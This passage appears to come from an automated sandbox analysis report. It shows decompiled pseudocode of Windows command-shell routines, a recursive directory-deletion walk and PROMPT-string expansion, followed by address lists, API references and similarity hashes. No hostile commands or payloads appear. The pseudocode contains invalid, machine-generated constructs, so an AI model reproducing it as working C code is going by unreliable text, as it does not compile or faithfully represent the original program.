								} while (_t130 != _t223);
								_t193 = _t192 - _t177;
								_t194 = _t193 >> 1;
								if(_t193 != 0) {
									L21:
									if(_t194 + _t220 >= 0x7fe7) {
										_t176 = _v1144;
										_push(_t217);
										 *_v1148 = _t223;
										E0087C5A2(_t194, 0x400023da, 2, _v1144);
										L41:
										FindClose(_v1152);
										_t260 =  *0x89d544 - _t223; // 0x0
										if(_t260 != 0) {
											goto L43;
										}
										goto L42;
									}
									_t134 = _v28;
									if(_v28 == 0) {
										_t134 =  &_v548;
									}
									E00881040(_t134 + _t220 * 2, _v20 - _t220, _t217);
									_t178 = _v1140.dwFileAttributes;
									if((_t178 & 0x00000010) == 0) {
										__eflags = _t178 & 0x00000001;
										if((_t178 & 0x00000001) != 0) {
											_t207 = _v28;
											__eflags = _t207;
											if(_t207 == 0) {
												_t207 =  &_v548;
											}
											_t162 = _t178 & 0xfffffffe;
											__eflags = _t162;
											SetFileAttributesW(_t207, _t162);
										}
										_t196 = _v28;
										__eflags = _v28;
										if(_v28 == 0) {
											_t196 =  &_v548;
										}
										_t217 = _t178;
										_t136 = E008783F2(_t196, _t178);
										__eflags = _t136;
										if(_t136 == 0) {
											goto L39;
										} else {
											__eflags = _t136 - 0x4d3;
											if(_t136 == 0x4d3) {
												break;
											}
											__eflags = _t136 - 3;
											if(_t136 == 3) {
												_t158 = _v28;
												__eflags = _t158;
												if(_t158 == 0) {
													_t158 =  &_v548;
												}
												__imp___wcsnicmp(_t158, L"\\\\?\\", 4);
												_t226 = _t226 + 0xc;
												__eflags = _t158;
												if(_t158 != 0) {
													_t159 = _v28;
													__eflags = _t159;
													if(_t159 == 0) {
														_t159 =  &_v548;
													}
													_t160 = GetFullPathNameW(_t159, _t223, _t223, _t223);
													__eflags = _t160 - 0x7fe7;
													if(_t160 > 0x7fe7) {
														SetLastError(0x6f);
													}
												}
											}
											_t197 =  &(_v1140.cAlternateFileName);
											_t217 = _t197 + 2;
											do {
												_t139 =  *_t197;
												_t197 = _t197 + 2;
												__eflags = _t139 - _t223;
											} while (_t139 != _t223);
											_t140 = _v28;
											_t198 = _t197 - _t217;
											__eflags = _t198;
											_t199 = _t198 >> 1;
											if(_t198 == 0) {
												L86:
												__eflags = _t140;
												if(_t140 == 0) {
													_t140 =  &_v548;
												}
												E0087C5A2(_t199, 0x4000271b, 1, _t140);
												_t226 = _t226 + 0xc;
												L89:
												_push(_t223);
												_push(GetLastError());
												E0087C5A2(_t199);
												_t144 = _v28;
												__eflags = _t144;
												if(_t144 == 0) {
													_t144 =  &_v548;
												}
												SetFileAttributesW(_t144, _t178);
												 *_v1148 = _t223;
												goto L39;
											}
											__eflags = _t140;
											if(_t140 == 0) {
												_t140 =  &_v548;
											}
											__eflags = 0;
											_t140[_t220] = 0;
											_t203 =  &(_v1140.cFileName);
											_t217 = _t203 + 2;
											do {
												_t147 =  *_t203;
												_t203 = _t203 + 2;
												__eflags = _t147 - _t223;
											} while (_t147 != _t223);
											_t205 = _t203 - _t217 >> 1;
											_t199 =  &_v548;
											__eflags = _t205 + _t220 - 0x7fe7;
											if(_t205 + _t220 < 0x7fe7) {
												E00880CF2(_t217,  &(_v1140.cFileName));
												_t151 = _v28;
												__eflags = _t151;
												if(_t151 == 0) {
													_t151 =  &_v548;
												}
												E0087C5A2(_t199, 0x4000271b, 1, _t151);
												_t153 = _v28;
												_t226 = _t226 + 0xc;
												__eflags = _t153;
												if(_t153 == 0) {
													_t153 =  &_v548;
												}
												_t153[_t220] = 0;
												_t199 =  &_v548;
												E00880CF2(_t217,  &(_v1140.cAlternateFileName));
												goto L89;
											}
											E00880CF2(_t217,  &(_v1140.cAlternateFileName));
											_t140 = _v28;
											goto L86;
										}
									} else {
										_t208 = ".";
										_t164 =  &(_v1140.cFileName);
										_t179 = 4;
										while(1) {
											_t217 =  *_t164;
											if(_t217 !=  *_t208) {
												break;
											}
											if(_t217 == 0) {
												L29:
												_t165 = _t223;
												L30:
												if(_t165 == 0) {
													L39:
													if(FindNextFileW(_v1152,  &_v1140) != 0) {
														goto L14;
													}
													goto L40;
												}
												_t209 = L"..";
												_t166 =  &(_v1140.cFileName);
												while(1) {
													_t217 =  *_t166;
													if(_t217 !=  *_t209) {
														break;
													}
													if(_t217 == 0) {
														L36:
														_t167 = _t223;
														L38:
														if(_t167 != 0) {
															_t210 = _v28;
															__eflags = _v28;
															if(_v28 == 0) {
																_t210 =  &_v548;
															}
															_t217 =  &_v1156;
															_t168 = E008785EA(_t210,  &_v1156);
															__eflags =  *0x89d544 - _t223; // 0x0
															if(__eflags != 0) {
																goto L40;
															} else {
																__eflags = _t168;
																if(_t168 == 0) {
																	goto L39;
																}
																_t211 = _v1148;
																 *_v1148 = _t223;
																__eflags = _t168 - 0x91;
																if(_t168 != 0x91) {
																	L58:
																	_t169 = _v28;
																	__eflags = _t169;
																	if(_t169 == 0) {
																		_t169 =  &_v548;
																	}
																	E0087C5A2(_t211, 0x4000271b, 1, _t169);
																	_t226 = _t226 + 0xc;
																	_push(_t223);
																	_push(GetLastError());
																	E0087C5A2(_t211);
																	goto L39;
																}
																__eflags = _v1156 - _t223;
																if(_v1156 == _t223) {
																	goto L39;
																}
																goto L58;
															}
														}
														goto L39;
													}
													_t217 =  *((intOrPtr*)(_t166 + 2));
													_t47 =  &(_t209[2]); // 0x2e
													if(_t217 !=  *_t47) {
														break;
													}
													_t166 = _t166 + _t179;
													_t209 =  &(_t209[_t179]);
													if(_t217 != 0) {
														continue;
													}
													goto L36;
												}
												asm("sbb eax, eax");
												_t167 = _t166 | 0x00000001;
												__eflags = _t167;
												goto L38;
											}
											_t217 =  *((intOrPtr*)(_t164 + 2));
											_t44 =  &(_t208[2]); // 0x200000
											if(_t217 !=  *_t44) {
												break;
											}
											_t164 = _t164 + _t179;
											_t208 =  &(_t208[_t179]);
											if(_t217 != 0) {
												continue;
											}
											goto L29;
										}
										asm("sbb eax, eax");
										_t165 = _t164 | 0x00000001;
										goto L30;
									}
								}
								_t217 =  &(_v1140.cFileName);
								_t214 = _t217;
								_t180 = _t214 + 2;
								do {
									_t173 =  *_t214;
									_t214 = _t214 + 2;
								} while (_t173 != _t223);
								_t194 = _t214 - _t180 >> 1;
								goto L21;
							}
							L40:
							_t176 = _v1144;
							goto L41;
						}
					}
				}
			}

0x008785ea
0x008785f5
0x008785fc
0x00878607
0x0087860c
0x0087860e
0x00878617
0x0087861a
0x0087861c
0x00878620
0x00878626
0x0087862c
0x00878639
0x00878655
0x00878882
0x00000000
0x0087865b
0x0087865b
0x00878661
0x00878663
0x00878666
0x00878666
0x00878669
0x0087866c
0x00878671
0x00878673
0x00878675
0x008903bb
0x00878859
0x0087885c
0x00878875
0x00878875
0x00878683
0x00878850
0x00878857
0x00000000
0x00878857
0x00878691
0x0087869a
0x008903c7
0x008903c8
0x008903ca
0x008903d0
0x008786a0
0x008786a1
0x008786a7
0x008786ad
0x008786ad
0x008786b5
0x00000000
0x008786bb
0x008786c0
0x008903db
0x008903e1
0x00000000
0x00000000
0x008903e7
0x008786cd
0x008786d2
0x008786da
0x008786ec
0x008786f1
0x008786f1
0x008786fd
0x00878702
0x00878707
0x008903ec
0x008903ec
0x00878715
0x0087871b
0x00878724
0x00000000
0x0087872a
0x0087872a
0x0087872a
0x0087872a
0x00878730
0x00000000
0x00000000
0x00878736
0x0087873c
0x0087873e
0x00878741
0x00878741
0x00878744
0x00878747
0x0087874c
0x0087874e
0x00878750
0x0087876c
0x00878774
0x00890615
0x0089061b
0x00890624
0x00890626
0x0087883b
0x00878842
0x00878848
0x0087884e
0x00000000
0x00000000
0x00000000
0x0087884e
0x0087877a
0x0087877f
0x008903f7
0x008903f7
0x0087878e
0x00878793
0x0087879c
0x0089047a
0x0089047d
0x0089047f
0x00890482
0x00890484
0x00890486
0x00890486
0x0089048e
0x0089048e
0x00890493
0x00890493
0x00890499
0x0089049c
0x0089049e
0x008904a0
0x008904a0
0x008904a6
0x008904a8
0x008904ad
0x008904af
0x00000000
0x008904b5
0x008904b5
0x008904ba
0x00000000
0x00000000
0x008904c0
0x008904c3
0x008904c5
0x008904c8
0x008904ca
0x008904cc
0x008904cc
0x008904da
0x008904e0
0x008904e3
0x008904e5
0x008904e7
0x008904ea
0x008904ec
0x008904ee
0x008904ee
0x008904f8
0x008904fe
0x00890503
0x00890507
0x00890507
0x00890503
0x008904e5
0x0089050d
0x00890513
0x00890516
0x00890516
0x00890519
0x0089051c
0x0089051c
0x00890521
0x00890524
0x00890524
0x00890526
0x00890528
0x00890571
0x00890571
0x00890573
0x00890575
0x00890575
0x00890583
0x00890588
0x0089058b
0x0089058b
0x00890592
0x00890593
0x00890598
0x0089059d
0x0089059f
0x008905a1
0x008905a1
0x008905a9
0x008905b5
0x00000000
0x008905b5
0x0089052a
0x0089052c
0x0089052e
0x0089052e
0x00890534
0x00890536
0x0089053a
0x00890540
0x00890543
0x00890543
0x00890546
0x00890549
0x00890549
0x00890550
0x00890555
0x0089055b
0x00890560
0x008905c3
0x008905c8
0x008905cb
0x008905cd
0x008905cf
0x008905cf
0x008905dd
0x008905e2
0x008905e5
0x008905e8
0x008905ea
0x008905ec
0x008905ec
0x008905f4
0x008905ff
0x00890605
0x00000000
0x00890605
0x00890569
0x0089056e
0x00000000
0x0089056e
0x008787a2
0x008787a4
0x008787a9
0x008787af
0x008787b0
0x008787b0
0x008787b6
0x00000000
0x00000000
0x008787bf
0x008787d8
0x008787d8
0x008787da
0x008787dc
0x0087881a
0x0087882f
0x00000000
0x00000000
0x00000000
0x0087882f
0x008787de
0x008787e3
0x008787e9
0x008787e9
0x008787ef
0x00000000
0x00000000
0x008787f4
0x00878809
0x00878809
0x00878812
0x00878814
0x00890402
0x00890405
0x00890407
0x00890409
0x00890409
0x0089040f
0x00890415
0x0089041a
0x00890420
0x00000000
0x00890426
0x00890426
0x00890428
0x00000000
0x00000000
0x0089042e
0x00890434
0x00890436
0x0089043b
0x00890449
0x00890449
0x0089044c
0x0089044e
0x00890450
0x00890450
0x0089045e
0x00890463
0x00890466
0x0089046d
0x0089046e
0x00000000
0x00890474
0x0089043d
0x00890443
0x00000000
0x00000000
0x00000000
0x00890443
0x00890420
0x00000000
0x00878814
0x008787f6
0x008787fa
0x008787fe
0x00000000
0x00000000
0x00878800
0x00878802
0x00878807
0x00000000
0x00000000
0x00000000
0x00878807
0x0087880d
0x0087880f
0x0087880f
0x00000000
0x0087880f
0x008787c1
0x008787c5
0x008787c9
0x00000000
0x00000000
0x008787cf
0x008787d1
0x008787d6
0x00000000
0x00000000
0x00000000
0x008787d6
0x00878876
0x00878878
0x00000000
0x00878878
0x0087879c
0x00878752
0x00878758
0x0087875a
0x0087875d
0x0087875d
0x00878760
0x00878763
0x0087876a
0x00000000
0x0087876a
0x00878835
0x00878835
0x00000000
0x00878835
0x00878724
0x008786b5

APIs

memset.MSVCRT ref: 0087862C

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,-00000105), ref: 00878691
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105), ref: 008786A1
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,0087250C,?,?,?,-00000105), ref: 00878715
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,-00000105), ref: 00878827
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000105), ref: 00878842
??_V@YAXPAX@Z.MSVCRT ref: 0087885C

Strings

\\?\, xrefs: 008904D4

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstmemset$Next
String ID: \\?\
API String ID: 3059144641-4282027825
Opcode ID: 69d091556bf5d17744a08b8df8af84d410e6f62e7881b99a288996fcd05bd8e2
Instruction ID: 06307021a2aa181346fde06a2b7f4074e69a6eacfa55443993122559d1ed6e46
Opcode Fuzzy Hash: 69d091556bf5d17744a08b8df8af84d410e6f62e7881b99a288996fcd05bd8e2
Instruction Fuzzy Hash: 51D1E170A00119DBDF24EB68DC89BAA7379FF14304F5845A9EA0AE7245EB30DE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00896FF0, Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00896FF0(void* __ecx) {
				intOrPtr _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				intOrPtr _v36;
				signed int _v48;
				void _v50;
				void _v52;
				void _v54;
				short _v56;
				char _v124;
				char _v644;
				void* _v648;
				void* _v652;
				signed int _v656;
				signed short* _v660;
				signed short* _v664;
				WCHAR* _v668;
				signed int _v672;
				void* _v676;
				char _v680;
				char _v684;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t111;
				signed int _t112;
				intOrPtr _t119;
				void _t121;
				signed short _t122;
				signed int _t125;
				signed int _t126;
				void _t131;
				void _t136;
				intOrPtr* _t138;
				void _t142;
				signed int _t153;
				signed short* _t163;
				intOrPtr* _t164;
				void* _t167;
				signed short* _t173;
				signed int _t174;
				void* _t184;
				signed int _t187;
				void* _t188;
				signed int _t189;
				signed int _t190;
				void* _t191;
				signed int _t193;
				void* _t196;
				void* _t199;
				signed short* _t200;
				void* _t201;
				intOrPtr* _t202;
				signed int _t204;
				void* _t207;
				void* _t209;
				void* _t210;
				void* _t211;
				signed short* _t213;
				void* _t214;
				signed int _t219;
				signed int _t221;
				intOrPtr _t222;
				signed int _t226;
				intOrPtr _t227;
				intOrPtr _t228;

				_t153 = _t219;
				_push(__ecx);
				_push(__ecx);
				_t221 = (_t219 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t153 + 4));
				_t217 = _t221;
				_push(0xfffffffe);
				_push(0x89c140);
				_push(E00887290);
				_push( *[fs:0x0]);
				_push(__ecx);
				_push(__ecx);
				_push(_t153);
				_t222 = _t221 - 0x288;
				_t111 =  *0x89d0b4; // 0x987dc5f4
				_v20 = _v20 ^ _t111;
				_t112 = _t111 ^ _t221;
				_v48 = _t112;
				_push(_t112);
				_t113 =  &_v28;
				 *[fs:0x0] =  &_v28;
				_v36 = _t222;
				_v672 = 0;
				_t226 =  *0x89d544; // 0x0
				if(_t226 != 0) {
					_push(0);
					_push(0x2335);
					_t113 = E0087C108(__ecx);
					EnterCriticalSection( *0x8a3858);
					 *0x89d544 = 0;
					LeaveCriticalSection( *0x8a3858);
				}
				_t227 =  *0x89d0c8; // 0x1
				if(_t227 == 0) {
					L96:
					 *[fs:0x0] = _v28;
					_pop(_t199);
					_pop(_t207);
					return E00886FD0(_t113, _t153, _v48 ^ _t217, _t182, _t199, _t207);
				} else {
					_t228 =  *0x89d5c8; // 0x0
					if(_t228 == 0) {
						E008825D9(L"\r\n");
					}
					if( *0x8a7896 == 0) {
						_t200 = E0087CFBC(L"PROMPT");
						_v660 = _t200;
						if(_t200 != 0) {
							_v660 = 0x8b8110;
							E00881040(0x8b8110, 0x200, _t200);
							 *0x8a7896 = 1;
						}
					} else {
						_v660 = 0x8b8110;
					}
					_t160 =  *0x8b3cb8;
					if( *0x8b3cb8 == 0) {
						_t160 = 0x8b3ab0;
					}
					_t182 =  *0x8b3cc0;
					E008836CB(_t153, _t160,  *0x8b3cc0, 0);
					_t113 = E00896FA6( &_v680);
					_v676 = _t113;
					if(_t113 == 0) {
						goto L96;
					} else {
						_t201 = _t113;
						_v652 = _t201;
						 *_t113 = 0;
						_t209 = _v680 - 1;
						_v648 = _t209;
						_t163 = _v660;
						if(_t163 == 0) {
							L86:
							_t117 =  *0x8b3cb8;
							if( *0x8b3cb8 == 0) {
								_t117 = 0x8b3ab0;
							}
							_t202 = _v676;
							E0088274C(_t202, _t209, L"%s>", _t117);
							_t164 = _t202;
							_t103 = _t164 + 2; // 0x2
							_t210 = _t103;
							do {
								_t119 =  *_t164;
								_t164 = _t164 + 2;
							} while (_t119 != 0);
							_t201 = _t202 + (_t164 - _t210 >> 1) * 2;
							L91:
							_t167 = 0;
							L92:
							 *_t201 = 0;
							_t203 = _v676;
							_t184 = _v676;
							_t107 = _t184 + 2; // 0x2
							_t211 = _t107;
							do {
								_t121 =  *_t184;
								_t184 = _t184 + 2;
							} while (_t121 != _t167);
							_t182 = _t184 - _t211 >> 1;
							_t113 = E00882616(_t203, _t184 - _t211 >> 1);
							if( *0x89d544 != 0) {
								EnterCriticalSection( *0x8a3858);
								 *0x89d544 =  *0x89d544 & 0x00000000;
								LeaveCriticalSection( *0x8a3858);
							}
							goto L96;
						}
						_t122 =  *_t163 & 0x0000ffff;
						if(_t122 == 0) {
							goto L86;
						}
						L14:
						while(_t122 != 0) {
							if(_t122 == 0x24) {
								_t213 =  &(_v660[1]);
								_v660 = _t213;
								_v664 = _t213;
								_t204 = 0;
								_v656 = 0x873b90;
								while(towupper( *_t213 & 0x0000ffff) !=  *_v656) {
									_t204 = _t204 + 1;
									_t35 = 0x873b90 + _t204 * 6; // 0x30050
									_t138 = _t35;
									_v656 = _t138;
									_t167 = 0;
									if( *_t138 != 0) {
										continue;
									}
									L28:
									_t125 = _t204 * 6;
									_t201 = _v652;
									_t214 = _v648;
									if( *((intOrPtr*)(_t125 + 0x873b90)) == _t167) {
										goto L92;
									}
									_t40 = _t125 + 0x873b92; // 0x3
									_t187 =  *_t40 & 0x0000ffff;
									if(_t187 != 8) {
										_t45 = _t187 - 1; // 0x2
										_t126 = _t45;
										if(_t126 > 9) {
											L78:
											_t127 =  *0x8b3cb8;
											if( *0x8b3cb8 == 0) {
												_t127 = 0x8b3ab0;
											}
											E0088274C(_t201, _t214, L"%c",  *_t127 & 0x0000ffff);
											_t222 = _t222 + 0x10;
											_t188 = _t201;
											_v664 = _t188 + 2;
											do {
												_t131 =  *_t188;
												_t188 = _t188 + 2;
											} while (_t131 != 0);
											_t189 = _t188 - _v664;
											L83:
											_t190 = _t189 >> 1;
											_t209 = _t214 - _t190;
											_t201 = _t201 + _t190 * 2;
											L84:
											_v648 = _t209;
											_v652 = _t201;
											L85:
											_t173 =  &(_v660[1]);
											_v660 = _t173;
											_t122 =  *_t173 & 0x0000ffff;
											goto L14;
										}
										switch( *((intOrPtr*)(_t126 * 4 +  &M00897698))) {
											case 0:
												_t132 = E008796A0(0, 1, _t201, _t214);
												goto L36;
											case 1:
												__edx = 0;
												__edx = 1;
												__ecx = 0;
												__eax = E00875AEF(0, 1, __edi, __esi);
												L36:
												_t201 = _t201 + _t132 * 2;
												_t209 = _t214 - _t132;
												goto L84;
											case 2:
												__eax =  *0x8b3cb8;
												if( *0x8b3cb8 == 0) {
													__eax = 0x8b3ab0;
												}
												__eax = E0088274C(__edi, __esi, L"%s", __eax);
												__edx = __edi;
												__eax = __edx + 2;
												_v656 = __edx + 2;
												__ecx = 0;
												do {
													__ax =  *__edx;
													__edx = __edx + 2;
												} while (__ax != __cx);
												__edx = __edx - _v656;
												goto L83;
											case 3:
												__ecx =  &_v124;
												E0087443C(__ecx) =  &_v124;
												__esi = E0087B3FC(__ecx, 0x2350,  &_v124);
												E0088274C(__edi, _v648, L"%s", __esi) = LocalFree(__esi);
												__edx = __edi;
												__esi = __edx + 2;
												__ecx = 0;
												do {
													__ax =  *__edx;
													__edx = __edx + 2;
												} while (__ax != __cx);
												__edx = __edx - __esi;
												__esi = _v648;
												goto L83;
											case 4:
												__eax = 0x873948;
												if(_v672 == 0) {
													__eax = 0x873958;
												}
												__edx = __esi;
												__ecx = __edi;
												__eax = E00881040(__edi, __esi, __eax);
												__edx = __edi;
												__eax = __edx + 2;
												_v656 = __edx + 2;
												__ecx = 0;
												do {
													__ax =  *__edx;
													__edx = __edx + 2;
												} while (__ax != __cx);
												__edx = __edx - _v656;
												goto L83;
											case 5:
												__edx = __esi;
												__ecx = __edi;
												__eax = E00881040(__edi, __esi, L"\r\n");
												__edx = __edi;
												__eax = __edx + 2;
												_v656 = __edx + 2;
												__ecx = 0;
												do {
													__ax =  *__edx;
													__edx = __edx + 2;
												} while (__ax != __cx);
												__edx = __edx - _v656;
												goto L83;
											case 6:
												goto L78;
											case 7:
												if( *0x8b3cc9 == 0) {
													goto L85;
												}
												__ecx =  *0x8b3ce4;
												while(__esi > 1) {
													__eax = __ecx;
													__ecx = __ecx - 1;
													if(__eax == 0) {
														goto L85;
													}
													_push(0x2b);
													_pop(__eax);
													 *__edi = __ax;
													__edi = __edi + 2;
													_v652 = __edi;
													__esi = __esi - 1;
													_v648 = __esi;
												}
												goto L85;
											case 8:
												if( *0x8b3cc9 == 0) {
													goto L85;
												}
												_v668 = __ecx;
												__ecx =  *0x8b3cb8;
												__eax = __ecx;
												if(__ecx == 0) {
													__eax = 0x8b3ab0;
												}
												__ax =  *__eax;
												_v56 =  *__eax;
												if(__ecx == 0) {
													__ecx = 0x8b3ab0;
												}
												__ax =  *((intOrPtr*)(__ecx + 2));
												_v54 = __ax;
												_push(0x5c);
												_pop(__eax);
												_v52 = __ax;
												__eax = 0;
												_v50 = __ax;
												__eax =  &_v56;
												if(GetDriveTypeW( &_v56) != 4) {
													goto L85;
												} else {
													__eax = 0;
													_v52 = __ax;
													_v684 = 0x104;
													_v16 = _v16 & 0;
													__eax = E00887797(__ecx);
													if(__al == 0) {
														_v668 = 0x78;
													} else {
														__eax =  &_v684;
														_push( &_v684);
														__eax =  &_v644;
														_push( &_v644);
														__eax =  &_v56;
														_push( &_v56);
														__eax =  *0x8bc028();
														_v668 =  &_v56;
													}
													_v16 = 0xfffffffe;
													if(_v668 == 0) {
														 &_v644 = E0088274C(__edi, __esi, L"%s ",  &_v644);
														__edx = __edi;
														__eax = __edx + 2;
														_v664 = __edx + 2;
														__ecx = 0;
														do {
															__ax =  *__edx;
															__edx = __edx + 2;
														} while (__ax != __cx);
														__edx = __edx - _v664;
													} else {
														if(_v668 == 0x8ca) {
															goto L85;
														}
														_push(L"Unknown");
														_push(__esi);
														_push(__edi);
														__eax = E0088274C();
														__esp = __esp + 0xc;
														__edx = __edi;
														__eax = __edx + 2;
														_v664 = __edx + 2;
														__ecx = 0;
														do {
															__ax =  *__edx;
															__edx = __edx + 2;
														} while (__ax != __cx);
														__edx = __edx - _v664;
													}
													goto L83;
												}
										}
									}
									_t41 = _t125 + 0x873b94; // 0x450000
									E0088274C(_t201, _t214, L"%c",  *_t41 & 0x0000ffff);
									_t222 = _t222 + 0x10;
									_t196 = _t201;
									_v656 = _t196 + 2;
									do {
										_t136 =  *_t196;
										_t196 = _t196 + 2;
									} while (_t136 != 0);
									_t189 = _t196 - _v656;
									goto L83;
								}
								_t167 = 0;
								goto L28;
							}
							E0088274C(_t201, _t209, L"%c", _t122 & 0x0000ffff);
							_t222 = _t222 + 0x10;
							_t191 = _t201;
							_t18 = _t191 + 2; // 0x2
							_v656 = _t18;
							_t174 = 0;
							do {
								_t142 =  *_t191;
								_t191 = _t191 + 2;
							} while (_t142 != 0);
							_t193 = _t191 - _v656 >> 1;
							_t201 = _t201 + _t193 * 2;
							_v652 = _t201;
							_t209 = _t209 - _t193;
							_v648 = _t209;
							if(E008768B5() == 0) {
								L22:
								_v672 = _t174;
								goto L85;
							}
							_v656 =  *_v660 & 0x0000ffff;
							if(E00897AB0( *_v660 & 0x0000ffff) == 0) {
								_t174 = 0;
								goto L22;
							}
							_v672 = _v656 & 0x0000ffff;
							goto L85;
						}
						goto L91;
					}
				}
			}

0x00896ff3
0x00896ff5
0x00896ff6
0x00896ffa
0x00897001
0x00897005
0x00897007
0x00897009
0x0089700e
0x00897019
0x0089701a
0x0089701b
0x0089701c
0x0089701d
0x00897023
0x00897028
0x0089702b
0x0089702d
0x00897032
0x00897033
0x00897036
0x0089703c
0x00897041
0x00897047
0x0089704d
0x0089704f
0x00897050
0x00897055
0x00897062
0x00897068
0x00897074
0x00897074
0x0089707a
0x00897080
0x00897678
0x0089767b
0x00897683
0x00897684
0x00897695
0x00897086
0x00897086
0x0089708c
0x00897093
0x00897098
0x008970a0
0x008970b9
0x008970bb
0x008970c3
0x008970d0
0x008970d8
0x008970dd
0x008970dd
0x008970a2
0x008970a7
0x008970a7
0x008970e4
0x008970ec
0x008970ee
0x008970ee
0x008970f4
0x008970fa
0x00897105
0x0089710a
0x00897112
0x00000000
0x00897118
0x00897118
0x0089711a
0x00897122
0x0089712b
0x0089712c
0x00897132
0x0089713a
0x008975eb
0x008975eb
0x008975f2
0x008975f4
0x008975f4
0x00897600
0x00897607
0x0089760f
0x00897611
0x00897611
0x00897616
0x00897616
0x00897619
0x0089761c
0x00897625
0x00897628
0x00897628
0x0089762a
0x0089762c
0x0089762f
0x00897635
0x00897637
0x00897637
0x0089763a
0x0089763a
0x0089763d
0x00897640
0x00897647
0x0089764b
0x00897657
0x0089765f
0x00897665
0x00897672
0x00897672
0x00000000
0x00897657
0x00897140
0x00897146
0x00000000
0x00000000
0x00000000
0x0089714c
0x00897159
0x008971ed
0x008971f0
0x008971f6
0x008971fe
0x00897200
0x0089720a
0x00897220
0x00897224
0x00897224
0x0089722a
0x00897230
0x00897235
0x00000000
0x00000000
0x0089723b
0x0089723b
0x00897245
0x0089724b
0x00897251
0x00000000
0x00000000
0x00897257
0x00897257
0x00897261
0x0089729d
0x0089729d
0x008972a3
0x00897582
0x00897582
0x00897589
0x0089758b
0x0089758b
0x0089759b
0x008975a0
0x008975a3
0x008975a8
0x008975b0
0x008975b0
0x008975b3
0x008975b6
0x008975bb
0x008975c1
0x008975c1
0x008975c3
0x008975c5
0x008975c8
0x008975c8
0x008975ce
0x008975d4
0x008975da
0x008975dd
0x008975e3
0x00000000
0x008975e3
0x008972a9
0x00000000
0x008972b7
0x00000000
0x00000000
0x008972c8
0x008972ca
0x008972cb
0x008972cd
0x008972bc
0x008972bc
0x008972bf
0x00000000
0x00000000
0x008972d4
0x008972db
0x008972dd
0x008972dd
0x008972ea
0x008972f2
0x008972f4
0x008972f7
0x008972fd
0x008972ff
0x008972ff
0x00897302
0x00897305
0x0089730a
0x00000000
0x00000000
0x00897315
0x0089731d
0x0089732b
0x00897343
0x00897349
0x0089734b
0x0089734e
0x00897350
0x00897350
0x00897353
0x00897356
0x0089735b
0x0089735d
0x00000000
0x00000000
0x00897370
0x00897375
0x00897377
0x00897377
0x0089737d
0x0089737f
0x00897381
0x00897386
0x00897388
0x0089738b
0x00897391
0x00897393
0x00897393
0x00897396
0x00897399
0x0089739e
0x00000000
0x00000000
0x008973ae
0x008973b0
0x008973b2
0x008973b7
0x008973b9
0x008973bc
0x008973c2
0x008973c4
0x008973c4
0x008973c7
0x008973ca
0x008973cf
0x00000000
0x00000000
0x00000000
0x00000000
0x008973e1
0x00000000
0x00000000
0x008973e7
0x00897410
0x008973ef
0x008973f1
0x008973f4
0x00000000
0x00000000
0x008973fa
0x008973fc
0x008973fd
0x00897400
0x00897403
0x00897409
0x0089740a
0x0089740a
0x00000000
0x00000000
0x00897421
0x00000000
0x00000000
0x00897427
0x0089742d
0x00897435
0x00897437
0x00897439
0x00897439
0x0089743e
0x00897441
0x00897447
0x00897449
0x00897449
0x0089744e
0x00897452
0x00897456
0x00897458
0x00897459
0x0089745d
0x0089745f
0x00897463
0x00897470
0x00000000
0x00897476
0x00897476
0x00897478
0x0089747c
0x00897486
0x00897489
0x00897490
0x008974b2
0x00897492
0x00897492
0x00897498
0x00897499
0x0089749f
0x008974a0
0x008974a3
0x008974a4
0x008974aa
0x008974aa
0x008974bc
0x0089750b
0x0089755a
0x00897562
0x00897564
0x00897567
0x0089756d
0x0089756f
0x0089756f
0x00897572
0x00897575
0x0089757a
0x0089750d
0x00897517
0x00000000
0x00000000
0x0089751d
0x00897522
0x00897523
0x00897524
0x00897529
0x0089752c
0x0089752e
0x00897531
0x00897537
0x00897539
0x00897539
0x0089753c
0x0089753f
0x00897544
0x00897544
0x00000000
0x0089750b
0x00000000
0x008972a9
0x00897263
0x00897272
0x00897277
0x0089727a
0x0089727f
0x00897287
0x00897287
0x0089728a
0x0089728d
0x00897292
0x00000000
0x00897292
0x00897239
0x00000000
0x00897239
0x0089716a
0x0089716f
0x00897172
0x00897174
0x00897177
0x0089717d
0x0089717f
0x0089717f
0x00897182
0x00897185
0x00897190
0x00897192
0x00897195
0x0089719b
0x0089719d
0x008971aa
0x008971dc
0x008971dc
0x00000000
0x008971dc
0x008971b5
0x008971c4
0x008971da
0x00000000
0x008971da
0x008971cf
0x00000000
0x008971cf
0x00000000
0x0089714c
0x00897112

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(987DC5F4,?,00000000), ref: 00897062
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00897074

Part of subcall function 0087CFBC: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,0089F830,00002000,?,?,?,?,?,0088373A,0087590A,00000000), ref: 0087CFDF

towupper.MSVCRT ref: 0089720E
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00897343
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00871EB4,00873958), ref: 00897467
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,987DC5F4,?,00000000), ref: 0089765F
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00897672

Strings

%s , xrefs: 00897553
